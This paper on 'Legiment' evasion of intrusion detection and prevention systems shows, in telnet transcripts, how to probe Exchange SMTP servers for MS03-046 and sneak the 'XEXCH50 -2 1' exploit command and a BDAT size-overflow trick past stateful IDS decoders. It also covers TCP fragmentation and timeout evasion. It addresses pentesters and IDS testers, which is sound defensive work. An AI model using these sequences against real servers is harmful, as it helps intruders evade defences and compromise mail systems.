

Legiment Techniques of IPS/IDS Evasion

By- Ajit Hatti
ajit.hatti.sec@gmail.com

Contents :

1. Why learn Evasion Techniques?
2. What is **Legiment** Technique of IPS/IDS Evasion?
3. The Legiment evasions & the Outcomes.
4. Conclusion.
5. References.

1. Why learn Evasion Techniques

Security is Important.

As organizations increasing use the internet to take advantage of its global reach, new security controls relating to processes and technologies will need to be deployed and securely managed. The aim of every organization is to derive maximum benefits from its IT infrastructure. However, any IT technology, irrespective of the vendor credentials has known vulnerabilities with new ones being discovered regularly. Further, connecting the IT infrastructure to the Internet brings in a variety of new ones.

So security is indispensable to all organizations for smooth & uninterrupted operation without compromising the confidentiality of information assets and resources.

Security shouldn't back fire.

Security systems with false positives, affecting the legitimate traffic can cause more harm to business. Security measures should be properly targeted, and directly related to potential impacts, threats, and existing vulnerabilities. Failure to achieve this could result in inadequate security measures and excessive or unnecessary expenditure.

An appropriate analysis of security systems in a stream of legitimate traffic can reduce false positives & promotes better targeting of security measures.

Attack is the best defense.

The need of the hour is proactive security management involving active analysis of the security systems and plug the known and new vulnerabilities before they can be used to cause serious damage.

Bottom Line

Its evident that security is a moving target. As more and more enterprise are deploying the security systems Like IPS/IDS, these security systems needs continuous evaluation with newer exploitation techniques. In this paper we look at some classical IPS/IDS evasion techniques and their limitations. Then we see how **Legiment** Techniques of Evasion proves effective compared to the classical once.

2. What is Legiment Technique of IPS/IDS Evasion.

The term **Legiment** Evasion is derived from the 2 terms below :

Legement : *Ledgment \Ledg"ment\ (-ment), n. (Arch.) (a) A string-course or horizontal suit of moldings, such as the base moldings of a building. --Oxf. Gloss. (b) The development of the surface of a body on a plane, so that the dimensions of the different sides may be easily ascertained. --Gwilt*

Legilimency : *is the magical skill of extracting feelings and memories from another person's mind — a form of magical "mind-reading" -- J.K. Rowling.*

The **Legiment** evasion techniques are the one which uses the understanding of the application protocols, the exploit, and the way IDS/IPS handles them.

Any existing exploit can be crafted in a way to evade the IPS/IDS if we know about their capabilities or incapacibilities. So this technique mainly focuses on the data going over application layer and not below that and hence needs knowledge of the exploit and the server being exploited.

*In other words - we are applying legilimency to the IPS/IDS boxes
or
Exploit Legementing, based on IPS/IDS behavior.*

3. The Legiment Evasions and The Outcomes

I will be explaining the **Legiment** evasion techniques using 2 cases.

First - MS03-046, a vulnerability present in Exchange with causes a buffer over flow. A brief intro to MS03-046.

Second the flaw in implementation of BDAT command in Exchange.

Case 1: MS03-046

XEXCH50 is an exchange command, which accepts 2 parameters, first being the message size.

Exchange allocates a buffer of size mentioned in the first parameters and is not handled properly.

For a negative value or a value large enough ($>2^{31}$), Exchange results in Buffer overflow. A typical exploit will send the exchange commands as follows:

[XEXCH50 -2 1](#) .

Now before we plan to attack and IPS/IDS with MS03-046 exploit, we can do simple test to detect the presence of and IPS/IDS using simple techniques. Send the following command sequence on a mail session.

```
$ telnet 192.168.86.5 25
```

```
Trying 192.168.86.5...
```

```
Connected to 192.168.86.5.
```

```
Escape character is '^]'
```

```
220 TapiServer Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at
```

```
Thu, 5 Oct 2006 16:30:43 -0700
HELO
250 TapiServer Hello [192.168.86.1]
XEXCH50 2 2
354 Send binary data
```

The vulnerable or un-patched server will respond with “354 Send binary data” message where as the patched server will ask for NTLM authentication first.

Depending on the response we got from above command sequence, we know whether the target server is vulnerable, we can send the exploit straight away.

```
$ telnet 192.168.86.5 25
Trying 192.168.86.5...
Connected to 192.168.86.5.
Escape character is '^]'.
220 TapiServer Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at
Thu, 5 Oct 2006 16:30:43 -0700
HELO
250 TapiServer Hello [192.168.86.1]
XEXCH50 -1 2
```

If our session gets reset, with out an authentication request from the mail server, then it proves the presence of an IPS system in between. Now once we know that we have an IPS/IDS in between, we can choose our evasion techniques.

Classical IPS/IDS Evasion techniques

1. TCP level Fragmentation

In this technique we split the attack payload into multiple small packets, so that the IDS must reassemble the packet stream to detect the attack. Now we can send the exploits in 2 ways

a. Send the fragments with a pause in between hoping that the IDS will time out before the target computer does.

Example 1:

1.1 XEX --->

1.2 CH5 --->

451 Timeout waiting for client input

Connection closed by foreign host.

1.3 TCP/SYN

1.4 0 -1

1.5 2\r\n

Here we have broken “XEXCH50 -1 2\r\n” over 5 TCP packets. After we send the first to packet we wait for time out, we assume that IDS/IPS in between will time out before the target Exchange Server. Form the 3rd packet onwards it’s a new session and a positive traffic for IPS/IDS, but not for Exchange server.

b. Send the above packets out of sequence. As the TCP packets can reach the destination, out of order, and target server reassembles them. But chances are there that IPS/IDS system will not hold the packets for long and pass them on before they reassemble and evaluate it for an exploit in traffic resulting in a bypass.

Limitations of Fragmented Evasion:

1. If the IPS/IDS are tuned to keep up a TCP session for the same duration as The exchange does then the fragments can be handled in one session
2. If the IPS/IDS assembles the packet (virtual streaming), then the exploits can be easily intercepted.

Legiment Evasion techniques to bypass IDS/IPS

1. The Trick

In Exchange, any thing that follows after DATA command is treated as part of the message body & it is not decoded as an SMTP command.

With a specially crafted mail, we can easily put IDS maintaining states to decode DATA, even when the protected server is expecting SMTP commands but not DATA.

At this moment, if we send the vulnerable SMTP commands to the protected server, our IDS are easily bypassed & server is exploited.

IDS/IPS behaviour Analysis

Consider the following session from a telnet client to a and Exchange Server.

```
$ telnet 192.168.86.5 25
Trying 192.168.86.5...
Connected to 192.168.86.5.
Escape character is '^]'.
220 TapiServer Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at
Thu, 5 Oct 2006 16:30:43 -0700
HELO
250 TapiServer Hello [192.168.86.1]

MAIL FROM : ajit
250 2.1.0 ajit@TapiServer....Sender OK

RCPT TO : varun
250 2.1.5 varun@TapiServer....

DATA
354 Start mail input; end with <CRLF>.<CRLF>

FROM : Ajit
TO : Varun
Subject : MS03-046 Exploit.
```

XEXCH50 -2 1

[Shell Code]

If the IDS system raises the alarm for the above traffic, or IPS blocks the above session then it's a false positive. Because in above session I'm trying to send a mail with the information about the MS03-046 exploit. Any IDS/IPS system triggering for this mail means hampering a false positive which is not acceptable.

Now lets assume our IDS wont trigger for the above traffic as it decodes the application traffic and maintain a state machine to differentiate the positive traffic from a real exploit. Then consider the illustrations below.

I. Altering the Command Sequence

Consider following scenario:

```
$ telnet 192.168.86.5 25
Trying 192.168.86.5...
Connected to 192.168.86.5.
Escape character is '^]'.
220 TapiServer Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at
Thu, 5 Oct 2006 16:30:43 -0700

HELO
250 TapiServer Hello [192.168.86.1]

MAIL FROM : ajit
250 2.1.0 ajit@TapiServer....Sender OK *
DATA
503 5.5.2 Need RCPT command.
RCPT TO : ajit
250 2.1.5 ajit@TapiServer
//--- Now I can send any Exchange Exploitable command
//---and bypass the decoders
XEXCH50 -2 1
```

In above commands sequence, **DATA** is sent before **RCPT TO** request. Hence the **DATA** command fails & whatever follows **DATA**, our IDS assumes it as a message body and doesn't look for the vulnerable Exchange Commands in it.

Hence the IDS can be easily bypassed.

II. Invalid Sender

```
$ telnet 192.168.86.5 25
Trying 192.168.86.5...
Connected to 192.168.86.5.
Escape character is '^]'.
220 TapiServer Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at
Thu, 5 Oct 2006 16:30:43 -0700
HELO
250 TapiServer Hello [192.168.86.1]
MAIL FROM : invalid_user@localhost
550 5.7.1 invalid_user@localhost... Relaying denied. IP name lookup failed [192.168.86.1]
```

RCPT TO : ajit
503 5.5.2 Need MAIL command.

DATA
503 5.5.2 Need MAIL command.

MAIL FROM : ajit
250 2.1.0 ajit@TapiServer...Sender OK

RCPT TO : ajit
250 2.1.5 ajit@TapiServer
//--- Now I can send any Exchange Exploitable command
//----and bypass the decoders

XEXCH50 -2 1

In above transaction, sender is an user who has no rights to relay from the given SMTP Server & so the **MAIL FROM** command fails. If the IDS keeps a state check on **DATA** only after **MAIL FROM & RCPT TO** commands, even then it can't stop the above exploit.

Because, IDS doesn't know the **MAIL FROM** has failed. The IDS will check **MAIL FROM & RCPT TO** has been send and will assume that **DATA** coming after this is valid data. The **MAIL FROM & RCPT TO** after the **DATA** command will be decoded as HEADERS, and X-EXCH50 as some extended MIME (i.e we will ignore it), But for Server its an exploit.

III.Non-Existant Reciepent

```
$ telnet 192.168.86.5 25
Trying 192.168.86.5...
Connected to 192.168.86.5.
Escape character is '^'.
220 TapiServer? Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at
Thu, 5 Oct 2006 16:30:43 -0700
```

```
HELO
250 TapiServer Hello [192.168.86.1]
MAIL FROM : ajit
250 2.1.0 ajit@TapiServer...Sender OK
RCPT TO : non_existant_user@localhost
550 5.7.1 non_existant_user@localhost... Relaying denied. IP name lookup failed [192.168.86.1]
DATA
503 5.5.2 Need RCPT command.
RCPT TO : ajit
250 2.1.5 ajit@TapiServer
//--- Now I can send any Exchange Exploitable command
//----and bypass the decoders
XEXCH50 -2 1
```

Above transaction is similar to that of "Invalid Sender". Difference is, this time we are sending mail to a user which doesn't exist on the server or to which it can't deliver. Hence the **RCPT TO** fails.

Case 2. Flaw in BDAT

There is a flow in the way windows handles the integer overflow. According to RFC-1830, BDAT

command accepts <SIZE> parameter in Decimal Number. Exchange accepts the BDAT <SIZE> argument in a **signed integer**.

When we give a <SIZE> string large enough to overflow a signed integer, Exchange spins the number to-and-from between negative and positive value.

For instance:

```
BDAT 4294967296 LAST\r\n
```

Here the size “4294967297” Exchange will cast the effective value of BDAT chunk size as “1”. (for 4294967296 the effective value is 0 and for 4294967298 its 2 and so on)

So for the above command any IPS/IDS will be expecting a chunk of size “4294967297”. And in the subsequent “4294967297” bytes it will not try to decode for any vulnerable command, but for Exchange, the chunk size is “1”, and whatever comes after that is a new command. Now here you can add the exploits for vulnerabilities like **MS05-021, MS03-046**.

In this way we can create a simple **legiment exploit**.bypass

4. Conclusion :

More Effective:

- These **Legiment** evasions i.e. the specially crafted mails can bypass all sorts of IPS/IDS (signature based or state based).
- If any signature based IPS/IDS can intercept these evasions (without looking to the Server's response), then its bound to give **False Positive** for any legitimate mail which lists or describes the vulnerable SMTP commands.

Tuff to Tackle:

- **Legiment** Evasions are more application specific where as classical evasion techniques are generic and targeted at loopholes in TCP/IP implementations which are easy to patch with the patches available for the host OS on which they are implemented.
- IDS/IPS vendors must do Full-Duplex, session state decoding to stop **Legiment** Evasions. The signature based IPS/IDS will result in Bypass or False Positive.

Ease of creation :

- The TCP/IP level programming is not required
- Changes can be easily incorporated in the existing Exploit frameworks

Benefits :

- The hackers, PenTesters & the testers of IPS/IDS systems are equally benefited with these methods. Legiment Techniques also encourages us to study the application implementations in bring their flaws in light.

References :

<http://www.microsoft.com/technet/security/Bulletin/MS03-046.mspx>

<http://support.microsoft.com/kb/812455>

http://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques